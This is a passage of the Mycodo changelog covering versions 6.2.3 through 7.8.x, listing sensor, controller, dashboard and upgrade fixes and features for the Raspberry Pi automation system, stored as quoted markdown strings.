([#703](https://github.com/kizniche/mycodo/issues/703))\n - Add picamera options: white balance, shutter speed, sharpness, iso, exposure mode, meter mode, and image effect ([#313](https://github.com/kizniche/mycodo/issues/313), [#703](https://github.com/kizniche/mycodo/issues/703))\n - Add Function Action: Ramp PWM ([#704](https://github.com/kizniche/mycodo/issues/704))\n - Add Conditional Conditions: Measurement (Single, Past, Average), Measurement (Single, Past, Sum) ([#636](https://github.com/kizniche/mycodo/issues/636))", "### Miscellaneous", " - Move camera settings from Settings page to Camera page", "\n## 7.8.4 (2019.10.18)", "### Bugfixes", " - Actually fix inability to save PID options ([#701](https://github.com/kizniche/mycodo/issues/701))", "\n## 7.8.3 (2019.10.18)", "### Bugfixes", " - Fix inability to save PID options ([#701](https://github.com/kizniche/mycodo/issues/701))", "\n## 7.8.2 (2019.10.17)", "### Bugfixes", " - Fix Output Action", "\n## 7.8.1 (2019.10.15)", "### Bugfixes", " - Fix copying custom controllers during upgrade", "\n## 7.8.0 (2019.10.14)", "This release brings a big feature: Custom Controllers. Now users can import Custom Controllers just like Custom Inputs. There is a new settings section of the Configuration menu called Controllers, where a single-file Custom Controller can be imported into Mycodo. This new controller will appear in the dropdown list on the Functions page, and will act like any other function controller (PID, Trigger, LCD, etc.). See the [Custom Controllers](https://github.com/kizniche/Mycodo/blob/master/mycodo-manual.rst#custom-controllers) section of the manual.", "There's also a new Android app, [Mycodo Support](https://play.google.com/store/apps/details?id=com.mycodo.mycododocs) that provides access to several Mycodo support resources.", "### Bugfixes", " - Fix Atlas Scientific EZP Pump not working with PID Controllers ([#562](https://github.com/kizniche/mycodo/issues/562))\n - Fix Output page not showing Duty Cycle for PWM Output status\n - Fix blank Live page if Inputs added but not yet activated\n - Fix inability to capture photos with USB camera ([#677](https://github.com/kizniche/mycodo/issues/677))\n - Fix issues related to influxdb not fully starting before the Mycodo daemon\n - Fix timeout exporting large amounts of data", "### Features", " - Add ability to import Custom Controllers (See [Custom Controllers](https://github.com/kizniche/Mycodo/blob/master/mycodo-manual.rst#custom-controllers))\n - Add ability to set PWM Output startup and shutdown state ([#699](https://github.com/kizniche/mycodo/issues/699))\n - Add Dashboard Widget: Output PWM Range Slider ([#699](https://github.com/kizniche/mycodo/issues/699))\n - Add ability to use Input/Math measurements with PID setpoint tracking ([#639](https://github.com/kizniche/mycodo/issues/639))\n - Add search to Function select", "### Miscellaneous", " - Remove Flask_influxdb\n - Upgrade Influxdb from 1.7.6 to 1.7.8", "\n## 7.7.9 (2019.09.29)", "### Bugfixes", " - Fix issue displaying Outputs on Asynchronous Graph", "### Features", " - Add Start Offset option for Inputs\n - Add ability to disable Graph series Data Grouping", "### Miscellaneous", " - Rename Conditional Statement measure() to condition() in Conditional Controllers\n - Add description for all Conditional Conditions and Actions", "\n## 7.7.8 (2019.09.22)", "### Bugfixes", " - Fix LCD controller", "### Miscellaneous", " - PEP8\n - Improve error/debug logging", "\n## 7.7.7 (2019.09.20)", "### Bugfixes", " - Add reset to SHT31 Input when it errors ([#695](https://github.com/kizniche/mycodo/issues/695))", "### Features", " - Add LCD Line: Custom Text\n - Add Input: BME280 using RPi.bme280 library ([#694](https://github.com/kizniche/mycodo/issues/694))\n - Add \"Library\" to distinguish inputs that use different libraries to acquire measurements for the same sensor", "\n## 7.7.6 (2019.09.19)", "### Bugfixes", " - Fix Outputs not showing up on Dashboard and mislabeled measurements ([#692](https://github.com/kizniche/mycodo/issues/692))\n - Update wiringpi to fix issue with Raspberry Pi 4 board ([#689](https://github.com/kizniche/mycodo/issues/689))", "### Features", " - Add Conditional Conditions: Output Duration On, Controller Running ([#691](https://github.com/kizniche/mycodo/issues/691))\n - Remove the need for Pyro5 Nameserver ([#692](https://github.com/kizniche/mycodo/issues/692))\n - Add Flask profiler", "\n## 7.7.5 (2019.09.18)", "### Bugfixes", " - Fix inability to activate Conditional Controllers ([#690](https://github.com/kizniche/mycodo/issues/690))", "### Miscellaneous", " - Improve post-alembic upgrade system\n - Improve Pyro5 logging", "\n## 7.7.4 (2019.09.18)", "### Bugfixes", " - Fix issue with Pyro5 proxy handling ([#688](https://github.com/kizniche/mycodo/issues/688))\n - Fix missing Stdout from several log files", "\n## 7.7.3 (2019.09.17)", "### Bugfixes", " - Fix wait time for Atlas Scientific pH Calibration ([#686](https://github.com/kizniche/mycodo/issues/686))\n - Add 'minute' measurement storage to EZO Pump Output\n - Fix database upgrade issues", "### Features", " - Add ability to store multiple measurements for Outputs ([#562](https://github.com/kizniche/mycodo/issues/562))\n - Add Calibration: Atlas Scientific EZO Pump ([#562](https://github.com/kizniche/mycodo/issues/562))\n - Add ability to select pump modes for Atlas Scientific EZO Pump ([#562](https://github.com/kizniche/mycodo/issues/562))\n - Add ability to enable Daemon debug mode from Configuration page\n - Add ability to use FTDI to communicate with Atlas Scientific EZO Pump\n - Upgrade from Pyro4 to Pyro5", "\n## 7.7.2 (2019.09.14)", "### Bugfixes", " - Remove redundant alembic upgrade that can cause upgrade errors\n - Fix moving Conditional/input code during upgrade\n - Generate Conditional/input code for next upgrade\n - Fix MQTT Input ([#685](https://github.com/kizniche/mycodo/issues/685))\n - Fix Atlas Scientific EZO Pump Input issue ([#562](https://github.com/kizniche/mycodo/issues/562))\n - Fix Atlas Scientific EZP Pump Output (UART) error on Output page\n - Fix Atlas Scientific pH Input issue ([#686](https://github.com/kizniche/mycodo/issues/686))\n - Fix issues with calibration of Atlas Scientific pH sensor ([#686](https://github.com/kizniche/mycodo/issues/686))", "### Features", " - Add ability to choose 1, 2, or 3 point pH calibration of Atlas Scientific pH sensor ([#686](https://github.com/kizniche/mycodo/issues/686))", "\n## 7.7.1 (2019.09.08)", "### Bugfixes", " - Fix issue with Pyro4\n - Fix issue with Trigger controllers", "\n## 7.7.0 (2019.09.08)", "This release changes how user-created Python code is executed. This affects Python Code Inputs and Conditional Functions. All effort was made to reformat user scripts during the upgrade process to adhere to the new formatting guidelines, however there are a few instances where scripts could not be updated properly and will need to be done manually by the user before they will work properly. After upgrading your system, ensure your code conforms to the following guidelines:", "1. Conditional Functions\n * Use 4-space indentation (not 2-space, tab, or other)\n * Change measure() to self.measure()\n * Change measure_dict() to self.measure_dict()\n * Change run_action() to self.run_action()\n * Change run_all_actions() to self.run_all_actions()\n * Change message to self.message\n2. Python Code Inputs\n * Use 4-space indentation (not 2-space, tab, or other)\n * Change store_measurement() to self.store_measurement()", "### Bugfixes", " - Fix sunrise/sunset calculation\n - Fix inability to use \",\" in Input custom options\n - Fix install dependencies for Ruuvitag Input ([#638](https://github.com/kizniche/mycodo/issues/638))\n - Fix reliability issue with Ruuvitag Input (crashing Mycodo daemon) ([#638](https://github.com/kizniche/mycodo/issues/638))\n - Fix storing of SHT31 Smart Gadget erroneous measurements\n - Prevent Pyro4 TimeoutErrors from stopping PID and Conditional controllers\n - Improve Controller reliability/stability\n - Fix path to pigpiod ([#684](https://github.com/kizniche/mycodo/issues/684))", "### Features", " - Add Pylint test for Python 3 Code Input\n - Add execute_at_creation option for Inputs\n - Add Measurement: Radiation Dose Rate\n - Add Units: Microsieverts per hour (µSv/hr), Counts per minute (cpm)\n - Add 'message' option for custom Inputs to display a message with the Input options in the web interface\n - Add more logs to view and consolidate \"View Logs\" page\n - Add automatic initialization of Input custom_options variables", "### Miscellaneous", " - Refactor how user-created Python code is executed (i.e. Python Code Inputs and Conditional Statements)\n - Refactor RPC by replacing RPyC with Pyro4 for improved system stability ([#671](https://github.com/kizniche/mycodo/issues/671), [#679](https://github.com/kizniche/mycodo/issues/679))\n - Increase Nginx file upload size\n - Reorganize menu layout\n - Modify linux_command exception-handling ([#682](https://github.com/kizniche/mycodo/issues/682))", "\n## 7.6.3 (2019-07-14)", "### Bugfixes", " - Fix calculating VPD", "### Features", " - Add Python 3 Code execution Input", "\n## 7.6.2 (2019-07-11)", "### Bugfixes", " - Various fixes for Raspbian Buster ([#668](https://github.com/kizniche/mycodo/issues/668))", "\n## 7.6.1 (2019-07-11)", "### Bugfixes", " - Fix TH1X-AM2301 Input ([#670](https://github.com/kizniche/mycodo/issues/670))", "\n## 7.6.0 (2019-07-10)", "### Bugfixes", " - Fix inability of Input custom_options value to be 0\n - Fix improper unit conversion for TH1X-AM2301 Input ([#670](https://github.com/kizniche/mycodo/issues/670))\n - Fix Bash Command Input script execution ([#667](https://github.com/kizniche/mycodo/issues/667))", "### Features", " - Add MQTT (paho) Input ([#664](https://github.com/kizniche/mycodo/issues/664))\n - Add timeout option for Linux Command Input", "\n## 7.5.10 (2019-06-17)", "### Bugfixes", " - Fix TTN Data Input timestamps", "\n## 7.5.9 (2019-06-16)", "### Bugfixes", " - Fix rare measurement issue with Ruuvitag\n - Ensure Output Controller has fully started before starting other controllers ([#665](https://github.com/kizniche/mycodo/issues/665))\n - Fix module path of mycodo_client.py when executed from symlink ([#665](https://github.com/kizniche/mycodo/issues/665))", "\n## 7.5.8 (2019-06-13)", "### Bugfixes", " - Fix \"getrandom() initialization failed\" with rng-tools ([#663](https://github.com/kizniche/mycodo/issues/663))\n - Fix issues with TH16/10 with AM2301 and Linux Command Inputs ([#663](https://github.com/kizniche/mycodo/issues/663))", "### Features", " - Add Debug Logging as an LCD option\n - Add traceback to error message during adding Input ([#664](https://github.com/kizniche/mycodo/issues/664))", "\n## 7.5.7 (2019-06-11)", "### Bugfixes", " - Fix Ruuvitag Input", "\n## 7.5.6 (2019-06-11)", "### Bugfixes", " - Fix issues with SHT31 Smart Gadget and Ruuvitag Inputs ([#638](https://github.com/kizniche/mycodo/issues/638))\n - Fix 500 Error generating measurement/unit choices ([#662](https://github.com/kizniche/mycodo/issues/662))\n - Change AM2320 Input code ([#585](https://github.com/kizniche/mycodo/issues/585))\n - Fix issue with Base Input", "### Features", " - Increase Live page measurement query duration to fix the display of Input measurements", "\n## 7.5.5 (2019-06-03)", "### Bugfixes", " - Add influxdb read/write wait timers to prevent connection errors at startup before influxdb has started", "### Features", " - Add --get_measurement parameter to mycodo_client.py\n \n### Miscellaneous", " - Replace locket with filelock", "\n## 7.5.4 (2019-05-29)", "### Bugfixes", " - Prevent rapid successive measurements from inputs after measurement delay\n - Increase lock timeout for Ruuvitag and SHT31 Smart Gadget ([#638](https://github.com/kizniche/mycodo/issues/638))\n - Fix IO error during locking for Ruuvitag ([#638](https://github.com/kizniche/mycodo/issues/638))\n - Fix pytests", "### Features", " - Add RPyC Timeout configuration option\n - Allow multiple PIDs to use the same output ([#661](https://github.com/kizniche/mycodo/issues/661))\n - Add timeout parameter to cmd_output() function\n \n### Miscellaneous", " - Refactor Min Off Duration to be centrally controlled by the Output Controller ([#660](https://github.com/kizniche/mycodo/issues/660))", "\n## 7.5.3 (2019-05-17)", "### Bugfixes", " - Prevent logging aberrant SHT31 Smart Gadget measurements\n - Handle type casting issues with Ruuvitag Input\n - Add Tags to Custom Colors selection of Graphs ([#656](https://github.com/kizniche/mycodo/issues/656))\n - Fix issues with Single Channel Sum and Average Math controllers\n - Fix inability to change Measurement Conversion back to \"Do Not Convert\"\n - Avoid build error with bcrypt 3.1.6 by lowering to version 3.1.4 ([#658](https://github.com/kizniche/mycodo/issues/658))\n - Fix issue with conversion calculation in wet-bulb humidity function", "### Features", " - Add Function Actions: Raise/Lower PID Setpoint ([#657](https://github.com/kizniche/mycodo/issues/657))", "### Miscellaneous", " - Add Unit: Pounds per square inch (psi) ([#657](https://github.com/kizniche/mycodo/issues/657))", "\n## 7.5.2 (2019-05-08)", "### Bugfixes", " - Fix issues with logging", "\n## 7.5.1 (2019-05-06)", "### Bugfixes", " - Fix bug in Input get_value() ([#654](https://github.com/kizniche/mycodo/issues/654))", "\n## 7.5.0 (2019-05-06)", "### Bugfixes", " - Fix storing latest SHT31 Smart Gadget measurements\n - Fix Base Input \\_\\_repr__ and \\_\\_str__\n - Fix unaccounted PID error if activation attempted when Measurement not set ([#649](https://github.com/kizniche/mycodo/issues/649))\n - Fix missing GPIO Pin sanity check ([#650](https://github.com/kizniche/mycodo/issues/650))\n - Fix \"Unknown math type\" filling log ([#651](https://github.com/kizniche/mycodo/issues/651))\n - Fix inability to stop PID autotune ([#651](https://github.com/kizniche/mycodo/issues/651))\n - Fix incomplete display of PID Settings on Mycodo Logs page", "### Features", " - Add Conditional Condition: Measurement (Multiple)\n - Add ability of Inputs to store measurements with the same or separate timestamps\n - Add option to show debug lines in Daemon Log (for Input/Math/PID/Trigger/Conditional)\n - Add Log Filters: Daemon INFO, Daemon DEBUG\n - Add Input: TH1x with DS18B20 ([#654](https://github.com/kizniche/mycodo/issues/654))", "### Miscellaneous", " - Update InfluxDB to 1.7.6", "\n## 7.4.3 (2019-04-17)", "### Bugfixes", " - Fix Sunrise/Sunset calculation\n - Update Infrared Remote section of manual to work with latest kernel\n - Add Bluetooth locking to prevent broken pipes", "### Features", " - Add Input: RuuviTag ([#638](https://github.com/kizniche/mycodo/issues/638))\n - Add Inputs: Atlas Scientific ORP, Atlas Scientific DO (FTDI, UART, I2C) ([#643](https://github.com/kizniche/mycodo/issues/643))\n - Add Reset Pin option and editable location for SD1306 OLED display ([#647](https://github.com/kizniche/mycodo/issues/647))", "\n## 7.4.2 (2019-04-02)", "### Bugfixes", " - Fix Average (single) and Sum (single) Math controllers with an Output selected", "\n## 7.4.1 (2019-04-02)", "### Bugfixes", " - Fix custom input preservation during upgrade", "\n## 7.4.0 (2019-04-01)", "### Bugfixes", " - Include Pre Output activation during Acquire Measurements Now instruction\n - Fix Outputs triggering at startup\n - Fix CCS811 Input measurement issue ([#641](https://github.com/kizniche/mycodo/issues/641))\n - Fix Math controller (equation)\n - Fix sending email notification to multiple recipients\n - Prevent RPyC TimeoutError from crashing PID controller", "### Features", " - Add Input: [The Things Network: Data Storage Integration](https://github.com/kizniche/Mycodo/blob/master/mycodo-manual.rst#the-things-network)\n - Add Math controllers: Sum (past, single channel), Sum (last, multiple channels)\n - Add Outputs to Math controllers: Average, Redundancy, Statistics, Sum\n - Add 'required' option for Input 'custom_options' (indicates if option is required to activate Input)\n - Add 'Output State' ('on', 'off', or duty cycle) Condition for Conditional controllers ([#642](https://github.com/kizniche/mycodo/issues/642))", "### Miscellaneous", " - Change channel designations to start at 0", "\n## 7.3.1 (2019-02-26)", "### Bugfixes", " - Fix settings menu layout\n - Significantly improve speed of dependency-checking\n - Fix missing names for Function Actions", "### Features", " - Add dependency system for Function Actions\n - Add proper dependencies for infrared Send Function Action\n - Improve Infrared Send Action by detecting remotes and codes", "\n## 7.3.0 (2019-02-22)", "### Bugfixes", " - Fix issue with check_triggers() in output controller\n - Fix issue preventing export of Notes\n - Fix table issue on Note page", "### Features", " - Add Function Trigger: Infrared Remote Input\n - Add Function Action: Infrared Remote Send", "### Miscellaneous", " - Remove redundant Output (Duration) Trigger (use Output (On/Off) Trigger)", "\n## 7.2.4 (2019-02-20)", "### Bugfixes", " - Fix unset channel causing 500 error ([#631](https://github.com/kizniche/mycodo/issues/631))\n - During first install, initialize after install of influxdb", "### Miscellaneous", " - Add wiringpi to install", "\n## 7.2.3 (2019-02-19)", "### Bugfixes", " - Fix issue with SHT31 Smart Gadget disconnect error-handling\n - Prevent dashboard camera streaming if using the fswebcam library ([#630](https://github.com/kizniche/mycodo/issues/630))\n - Fix number of line characters for 20x4 LCDs ([#627](https://github.com/kizniche/mycodo/issues/627))\n - Fix PID Dashboard widget issues", "### Features", " - Add option to set Output shutdown state (on/off/neither)", "\n## 7.2.2 (2019-02-08)", "### Bugfixes", " - Fix inability to change BMP280 I2C address ([#625](https://github.com/kizniche/mycodo/issues/625))\n - Fix issue triggering function actions ([#626](https://github.com/kizniche/mycodo/issues/626))", "### Features", " - Add log line of PID settings when activated or saved\n - Add PID Settings button to Mycodo Logs page", "\n## 7.2.1 (2019-02-06)", "### Bugfixes", " - Remove bluepy version restriction that conflicts with another requirement for the latest version\n - Fix Energy Usage calculations\n - Fix output controller startup issue\n - Fix notes duplicating on graphs\n - Fix inability of Function Action (Output PWM) to set a duty cycle of 0\n - Fix inability of Function Action (Activate Controller) to activate Conditional\n - Fix pigpio dependency issue ([#617](https://github.com/kizniche/mycodo/issues/617))", "### Features", " - Add asynchronous graphs to Energy Usage summaries", "### Miscellaneous", " - Improve error-handling of Function Actions", "\n## 7.2.0 (2019-02-04)", "### Bugfixes", " - Fix calculating Output Usage\n - Fix error-handling of PWM signal generation ([#617](https://github.com/kizniche/mycodo/issues/617))\n - Fix output dependency issue ([#617](https://github.com/kizniche/mycodo/issues/617))", "### Features", " - Add new energy usage/cost analysis based on amperage measurements (See [Energy Usage](https://github.com/kizniche/Mycodo/blob/master/mycodo-manual.rst#energy-usage) in the manual)\n - Add password recovery feature (technically just creates new admin user from the command line)", "\n## 7.1.7 (2019-02-02)", "### Bugfixes", " - Attempted fix of output dependency issue ([#617](https://github.com/kizniche/mycodo/issues/617))\n - Fix PID Autotune ungraceful exit ([#621](https://github.com/kizniche/mycodo/issues/621))", "\n## 7.1.6 (2019-01-30)", "### Bugfixes", " - Attempted fix of output dependency issue ([#617](https://github.com/kizniche/mycodo/issues/617))\n - Fix issue creating Triggers ([#618](https://github.com/kizniche/mycodo/issues/618))", "### Features", " - Add LCD: 128x64 OLED ([#589](https://github.com/kizniche/mycodo/issues/589))\n - Improve SHT31 Smart Gadget module", "### Miscellaneous", " - Update Translations\n - Add Languages: Dutch, Norwegian, Serbian, Swedish", "\n## 7.1.5 (2019-01-28)", "### Bugfixes", " - Fix issue downloading logged data from SHT31 Smart Gadget\n - Fix issue using PID measurements on Measurement Dashboard widget ([#616](https://github.com/kizniche/mycodo/issues/616))\n - Fix issue with Python Command Output variable declaration", "### Features", " - Add Dashboard widget: Indicator ([#606](https://github.com/kizniche/mycodo/issues/606))", "\n## 7.1.4 (2019-01-26)", "### Bugfixes", " - Fix dependency issue preventing Mycodo installation ([#614](https://github.com/kizniche/mycodo/issues/614))", "### Features", " - Add Diagnostic option: Delete Settings Database", "\n## 7.1.3 (2019-01-23)", "### Bugfixes", " - Fix missing PID Setpoint measurement\n - Fix missing location option for Free Space Input", "\n## 7.1.2 (2019-01-23)", "### Bugfixes", " - Fix Method editing", "\n## 7.1.1 (2019-01-22)", "### Bugfixes", " - Fix Conditional Statement testing during form save ([#610](https://github.com/kizniche/mycodo/issues/610))", "\n## 7.1.0 (2019-01-20)", "This release changes Conditional behavior. After upgrading to this version, your Conditional Statements should have every Condition '{ID}' changed to 'measure(\"{ID}\")'. Check every Conditional after the upgrade to ensure they work as expected. Additionally, the recommended logic to store and test measurements has changed, so review the Examples in the [Conditionals section of the manual](https://github.com/kizniche/Mycodo/blob/master/mycodo-manual.rst#conditional).", "### Bugfixes", " - Fix Error message when activating/deactivating controllers (no actual error occurred)\n - Fix (workaround) for inability to display Note whitespaces on Graphs", "### Features", " - Add ability to conduct individual measurement in Conditional Statements ([#605](https://github.com/kizniche/mycodo/issues/605))\n - Add ability to execute individual actions in Conditional Statements ([#605](https://github.com/kizniche/mycodo/issues/605))\n - Add ability to modify the Conditional message ([#605](https://github.com/kizniche/mycodo/issues/605))\n - Add Function Actions: Email with Photo Attachment, Email with Video Attachment", "\n## 7.0.5 (2019-01-10)", "### Bugfixes", " - Fix missing Atlas pH Input baud rate option ([#597](https://github.com/kizniche/mycodo/issues/597))\n - Fix properly displaying I2C/UART Input options\n - Fix issue requiring action selection to submit form ([#595](https://github.com/kizniche/mycodo/issues/595))\n - Fix output duration not being logged if settings saved while output is currently on\n - Fix instability of dependency system\n - Fix missing libglib2.0-dev dependency of SHT31 Smart Gadget", "### Features", " - Add FTDI support for Atlas Scientific sensors ([#597](https://github.com/kizniche/mycodo/issues/597))\n - Add Output option to trigger Functions at startup", "### Miscellaneous", " - Update SHT31 Smart Gadget Input module", "\n## 7.0.4 (2019-01-07)", "### Bugfixes", " - Fix issue with converted measurements unable to be used with Conditionals ([#592](https://github.com/kizniche/mycodo/issues/592))\n - Add pi-bluetooth to SHT31 Smart Gadget dependencies ([#588](https://github.com/kizniche/mycodo/issues/588))\n - Fix issue using PIDs and Graphs with converted measurement units ([#594](https://github.com/kizniche/mycodo/issues/594))\n - Fix issue with mixed up order of Graph series\n - Fix issue recording output durations", "### Features", " - Add OWFS support for 1-wire devices (currently only DS18B20, DS18S20 supported) ([#582](https://github.com/kizniche/mycodo/issues/582))\n - Add ability to delete .dependency and .upgrade files from the web UI ([#590](https://github.com/kizniche/mycodo/issues/590))", "### Miscellaneous", " - Update several Python modules, update InfluxDB to 1.7.2\n - Update manual FAQs", "\n## 7.0.3 (2018-12-25)", "### Bugfixes", " - Fix rendering new lines in Note text on graphs\n - Fix display of proper unit on Measurement Dashboard element ([#583](https://github.com/kizniche/mycodo/issues/583))\n - Fix missing libjpeg-dev dependency for PiOLED ([#584](https://github.com/kizniche/mycodo/issues/584))\n - Fix dependencies for AMG88xx Input", "### Features", " - Add Function Action: Create Note\n - Add Input: Sonoff TH10/16 humidity and temperature sensor ([#583](https://github.com/kizniche/mycodo/issues/583))\n - Add Input: AM2320 I2C humidity and temperature sensor ([#585](https://github.com/kizniche/mycodo/issues/585))", "### Miscellaneous", " - Change method for detecting 1-wire devices ([#582](https://github.com/kizniche/mycodo/issues/582))\n - Disable variable replacement in Command Execution Function Action until it can be fixed to work with new measurement system", "\n## 7.0.2 (2018-12-21)", "### Bugfixes", " - Fix inability to reorder Dashboard, Data, Output, and Function elements\n - Fix Edge Inputs not appearing in Edge Trigger input selection\n - Fix use of Atlas pH temperature calibration from Input/Math", "### Features", " - Add Additional check for Conditional Statements if {ID} is replaced with None ([#571](https://github.com/kizniche/mycodo/issues/571))\n - Add ability to set Logging Interval and download logged data from SHT31 Smart Gadget ([#559](https://github.com/kizniche/mycodo/issues/559))\n - Add Math: Input Backup: If a measurement of an Input cannot be found, look for a measurement of another (or another, etc.) ([#559](https://github.com/kizniche/mycodo/issues/559))", "### Miscellaneous", " - Add check so SHT31 Smart Gadget user options don't cause the number of stored measurements to exceed the internal memory", "\n## 7.0.1 (2018-12-09)", "### Bugfixes", " - Fix PiOLED LCD from changing I2C address when options are saved ([#579](https://github.com/kizniche/mycodo/issues/579))\n - Fix Generic 16x2/16x4 LCD display issue ([#578](https://github.com/kizniche/mycodo/issues/578))\n - Fix Math Add dropdown items having the same name ([#580](https://github.com/kizniche/mycodo/issues/580))", "### Features", " - Add ability to induce an Input to acquire/store measurements from the web UI\n - Add Input: SHT31 Smart Gadget (Bluetooth) humidity/temperature sensor ([#559](https://github.com/kizniche/mycodo/issues/559))\n - Add blank line to LCD display options ([#579](https://github.com/kizniche/mycodo/issues/579))", " ### Miscellaneous", " - Add verification for Conditional Statement code", "\n## 7.0.0 (2018-12-08)", "The Mycodo 7.0 introduces many redesigned systems, including measurements/units, conversions, conditionals, and more (see full list, below). The remnants of Conditionals have been moved to a new controller, called Triggers, which executes actions in response to event triggers (such as time-based events, Output changes, sunrises/sunsets, etc.). The new Conditional system incorporates a powerful way of developing complex conditional statements. See ([#493](https://github.com/kizniche/mycodo/issues/493)) for more information. Since earlier versions are not compatible with 7.x, all 6.x users will have to perform a fresh install or delete their settings database. An option will be presented on the upgrade page to delete the database and perform an upgrade.", "### Bugfixes", " - Fix issue preventing PID Method from changing setpoint (#566)\n - Fix issue with calibration of DS-type sensors\n - Fix module loading issue by restarting the daemon following dependency install ([#569](https://github.com/kizniche/mycodo/issues/569))\n - Fix issue adding Daily Time-Based method ([#550](https://github.com/kizniche/mycodo/issues/550))", "### Features", " - Add Function: Execute Actions\n - Add Function Action: Pause (pause for a duration of time between executing specific actions)\n - Add Input: MCP9808 (I2C) high accuracy temperature sensor\n - Add Input: AMG8833 (I2C) 8x8 pixel thermal sensor\n - Add Input: SHT31 (I2C) humidity/temperature sensor\n - Add LCD: PiOLED 128x32 (I2C) LCD ([#579](https://github.com/kizniche/mycodo/issues/579))\n - Add Output: Python Command (On/Off and PWM)\n - Add Output: Atlas EZO-PMP (I2C/UART) Peristaltic Pump ([#562](https://github.com/kizniche/mycodo/issues/562))\n - Add Vapor Pressure Deficit calculation to Inputs that measure temperature and relative humidity ([#572](https://github.com/kizniche/mycodo/issues/572))\n - Add Vapor Pressure Deficit Math controller ([#572](https://github.com/kizniche/mycodo/issues/572))\n - Add Start Offset option for PID, Math, and Conditionals\n - Add ability to search Input selection dropdown list", "### Miscellaneous", " - Refactor Conditional system ([#493](https://github.com/kizniche/mycodo/issues/493))\n - Refactor Analog-to-digital converters ([#550](https://github.com/kizniche/mycodo/issues/550))\n - Refactor Measurement/Unit system ([#550](https://github.com/kizniche/mycodo/issues/550))\n - Refactor Conversion system ([#493](https://github.com/kizniche/mycodo/issues/493))\n - Upgrade InfluxDB from 1.6.0 to 1.7.0\n - Add User Role: Kiosk", "\n## 6.4.7 (2018-12-08)", "This is the final release of version 6.x. Upgrading to 7.x will require a database wipe. This will be an option presented in the Mycodo upgrade page. If you do not want to lose your Mycodo data (settings AND measurement data), do not upgrade to 7.x.", "\n## 6.4.5 (2018-10-17)", "### Bugfixes", " - Fix issues with ADS1256 module ([#537](https://github.com/kizniche/mycodo/issues/537))\n - Fix issue with saving float values", "### Miscellaneous", " - Replace smbus with smbus2 ([#549](https://github.com/kizniche/mycodo/issues/549))", "\n## 6.4.4 (2018-10-14)", "### Features", " - Add enhanced reorder functionality for Input, Output, Math, PID, and Conditional controllers\n - Add ability to set camera still, timelapse, and video file save locations ([#498](https://github.com/kizniche/mycodo/issues/498))\n - Add ability to export/import notes and note attachments ([#548](https://github.com/kizniche/mycodo/issues/548))", "### Bugfixes", " - Fix authentication issue with Remote Administration\n - Fix issues with ADS1256 module ([#537](https://github.com/kizniche/mycodo/issues/537))\n - Fix issue with saving float values", "### Miscellaneous", " - Replace smbus with smbus2 ([#549](https://github.com/kizniche/mycodo/issues/549))", "\n## 6.4.3 (2018-10-13)", "### Bugfixes", " - Fix authentication issue introduced in 6.4.2", "\n## 6.4.2 (2018-10-13)", "### Features", " - Add MH-Z19 option: enable/disable automatic baseline correction (ABC)\n - Add ability to Test/trigger all Conditional Actions of a Conditional ([#524](https://github.com/kizniche/mycodo/issues/524))", "### Bugfixes", " - Fix Cozir module pycozir egg\n - Fix often-erroneous first measurement of ZH03B and MH-Z19 sensors\n - Fix issue with ADS1256 module ([#537](https://github.com/kizniche/mycodo/issues/537))", "\n## 6.4.1 (2018-10-11)", "### Bugfixes", " - Fix database upgrade issue", "\n## 6.4.0 (2018-10-11)", "### Features", " - Add Input: ADS1256 Analog-to-digital converter ([#537](https://github.com/kizniche/mycodo/issues/537))\n - Add ability to create custom options for Input modules ([#525](https://github.com/kizniche/mycodo/issues/525))\n - Add conversions between ppm/ppb and percent", "### Bugfixes", " - Fix issue determining PID setpoint unit on LCDs\n - Fix issue displaying IP address on LCD\n - Fix issue with client activating controllers ([#532](https://github.com/kizniche/mycodo/issues/532))\n - Fix issue with Linux Command Input ([#537](https://github.com/kizniche/mycodo/issues/537))\n - Fix issue with installing internal dependencies (e.g. pigpiod) ([#538](https://github.com/kizniche/mycodo/issues/538))\n - Potential fix for Miflora input ([#540](https://github.com/kizniche/mycodo/issues/540))\n - Fix missing Baud Rate option for K30 input ([#541](https://github.com/kizniche/mycodo/issues/541))\n - Fix 500 Error on Raspberry Pi Config page ([#536](https://github.com/kizniche/mycodo/issues/536))\n - Add turning ABC mode off during MHZ19 input initialization ([#546](https://github.com/kizniche/mycodo/issues/546))\n - Fix German \"Output\" translation", "### Miscellaneous", " - Set InfluxDB timeout to 5 seconds ([#539](https://github.com/kizniche/mycodo/issues/539))\n - Update Winsen ZH03B input module code ([#543](https://github.com/kizniche/mycodo/issues/543))", "\n## 6.3.9 (2018-09-18)", "### Bugfixes", " - Fix issue with installing dependencies ([#531](https://github.com/kizniche/mycodo/issues/531))\n - Fix issue with Edge devices", "\n## 6.3.8 (2018-09-17)", "### Bugfixes", " - Fix issue with database upgrade", "\n## 6.3.7 (2018-09-17)", "### Bugfixes", " - Fix issue with database upgrade", "\n## 6.3.6 (2018-09-17)", "### Bugfixes", " - Fix issue with Edge devices", "\n## 6.3.5 (2018-09-17)", "### Bugfixes", " - Fix issue with 1-Wire devices ([#529](https://github.com/kizniche/mycodo/issues/529))", "\n## 6.3.4 (2018-09-17)", "### Bugfixes", " - Fix issue with note system during upgrade ([#529](https://github.com/kizniche/mycodo/issues/529))", "\n## 6.3.3 (2018-09-17)", "### Bugfixes", " - Fix Cozir input issue", "\n## 6.3.2 (2018-09-16)", "### Bugfixes", " - Fix ZH03B input", "\n## 6.3.1 (2018-09-16)", "This release adds the ability to import input modules, allowing new inputs to be created by the user. Documentation (https://github.com/kizniche/Mycodo/blob/master/mycodo-manual.rst#create-your-own-input-module) for developing your own input modules is in development. See issue #525 for more information about it's development and discussion. Also with this release is a new section for Notes (More -> Notes, https://github.com/kizniche/Mycodo/blob/master/mycodo-manual.rst#notes). Notes are associated with one more more tags that can be created. Notes can also have files attached to them. These notes can be displayed on graphs to easily identify when a certain event happened in the past (or future).", "### Features", " - Implement self-contained input modules ([#525](https://github.com/kizniche/mycodo/issues/525))\n - Add Note system ([#527](https://github.com/kizniche/mycodo/issues/527))", "\n## 6.2.4 (2018-09-03)", "### Features", " - Add Winsen ZH03B Particulate sensor ([#346](https://github.com/kizniche/mycodo/issues/346))\n - Reduce install to one command", "### Bugfixes", " - Fix inability to set camera device ([#519](https://github.com/kizniche/mycodo/issues/519))\n - Fix initialization of UART MHZ16 ([#520](https://github.com/kizniche/mycodo/issues/520))\n - Fix issue with BMP280 ([#522](https://github.com/kizniche/mycodo/issues/522))", "## 6.2.3 (2018-08-28)", "### Bugfixes", " - Fix issue with major version upgrade initialization\n - Fix issue with PWM output dashboard element updating ([#517](https://github.com/kizniche/mycodo/issues/517))\n - Fix dependency check for 